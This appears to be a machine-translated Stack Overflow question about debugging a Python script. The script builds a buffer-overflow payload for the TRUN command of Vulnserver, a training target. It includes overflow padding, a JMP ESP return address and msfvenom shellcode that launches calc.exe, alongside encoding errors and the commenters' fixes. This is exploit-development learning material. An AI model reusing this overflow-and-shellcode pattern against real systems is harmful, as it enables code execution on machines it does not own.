Я пишу скрипт, который должен сгенерировать файл для использования Vulnserver.Файл сценария Python с кодом эксплойта - unicodeescape unicode error
Все кажется прекрасным, но затем я добавил шеллкод, и теперь я столкнулся с ошибкой unicode (unicodeescape).
#!C:\Users\user\AppData\Local\Programs\Python\Python36\python.exe
import sys, struct
file_suffix='shellcode.txt'
buf='.'
buf+='A'*2006 # buffer
#buf+=''*4 #EIP
#buf+=struct.pack('<I', 0x625011AF) # JMP ESP at 625011AF in essfunc.dll
buf+='\xaf\x11\x50\x62'
#buf+='C'*2000 # space for shellcode
# msfvenom -p windows/exec CMD=calc.exe -f python -b '\x00'
buf += "\xd9\xcb\xbd\x1a\xe4\x34\x1e\xd9\x74\x24\xf4\x5a\x2b"
buf += "\xc9\xb1\x31\x31\x6a\x18\x03\x6a\x18\x83\xc2\x1e\x06"
buf += "\xc1\xe2\xf6\x44\x2a\x1b\x06\x29\xa2\xfe\x37\x69\xd0"
buf += "\x8b\x67\x59\x92\xde\x8b\x12\xf6\xca\x18\x56\xdf\xfd"
buf += "\xa9\xdd\x39\x33\x2a\x4d\x79\x52\xa8\x8c\xae\xb4\x91"
buf += "\x5e\xa3\xb5\xd6\x83\x4e\xe7\x8f\xc8\xfd\x18\xa4\x85"
buf += "\x3d\x92\xf6\x08\x46\x47\x4e\x2a\x67\xd6\xc5\x75\xa7"
buf += "\xd8\x0a\x0e\xee\xc2\x4f\x2b\xb8\x79\xbb\xc7\x3b\xa8"
buf += "\xf2\x28\x97\x95\x3b\xdb\xe9\xd2\xfb\x04\x9c\x2a\xf8"
buf += "\xb9\xa7\xe8\x83\x65\x2d\xeb\x23\xed\x95\xd7\xd2\x22"
buf += "\x43\x93\xd8\x8f\x07\xfb\xfc\x0e\xcb\x77\xf8\x9b\xea"
buf += "\x57\x89\xd8\xc8\x73\xd2\xbb\x71\x25\xbe\x6a\x8d\x35"
buf += "\x61\xd2\x2b\x3d\x8f\x07\x46\x1c\xc5\xd6\xd4\x1a\xab"
buf += "\xd9\xe6\x24\x9b\xb1\xd7\xaf\x74\xc5\xe7\x65\x31\x39"
buf += "\xa2\x24\x13\xd2\x6b\xbd\x26\xbf\x8b\x6b\x64\xc6\x0f"
buf += "\x9e\x14\x3d\x0f\xeb\x11\x79\x97\x07\x6b\x12\x72\x28"
buf += "\xd8\x13\x57\x4b\xbf\x87\x3b\xa2\x5a\x20\xd9\xba"
stat_opt='TRUN'
content=stat_opt+' '+buf
f = open(stat_opt+file_suffix,"w")
f.write(content)
f.close()
Итоговый файл затем отправляется с ncat
на сервер vulnserver.
Как успешно записать файл, содержащий строку, определенную в приведенном выше скрипте (начиная с TRUN .AAAA[...]
), затем значение \xaf\x11\x50\x62
, а затем код оболочки?
редактировать Полностью забыл отслеживающий:
File "gen.py", line 16
buf+="\xd9\xcb\xbd\x1a\xe4\x34\x1e\xd9\x74\x24\xf4\x5a\x2"
^
SyntaxError: (unicode error) 'unicodeescape' codec can't decode bytes in position 48-50: truncated \xXX escape
edit2 Я хочу записать байт-коды в файл, представленные значениями шестигранных.
edit3 Я скопировал код оболочки с msfvenom
, и односимвольные шестнадцатеричные значения теперь верны (сценарий обновлен). Однако у меня есть новый отслеживающий:
Traceback (most recent call last):
File "gen.py", line 38, in <module>
f.write(content)
File "C:\Users\user\AppData\Local\Programs\Python\Python36\lib\encodings\cp1252.py", line 19, in encode
return codecs.charmap_encode(input,self.errors,encoding_table)[0]
UnicodeEncodeError: 'charmap' codec can't encode character '\x83' in position 2038: character maps to <undefined>
Всегда ставьте под вопрос полное сообщение об ошибке (Traceback). Это может быть более полезным, чем ваше описание. – furas
какой результат вы ожидаете - файл точно с текстом '\ xaf \ x11 \ x50 \ x62' или файл с байтами, коды которого' \ xaf \ x11 \ x50 \ x62'? – furas
Я пытаюсь запустить его, и у вас неправильные коды. Для кода evey требуется две цифры, но у вас есть одна цифра '\ x2' (в первой строке) и' \ xa' в другой строке. И это делает вашу проблему. – furas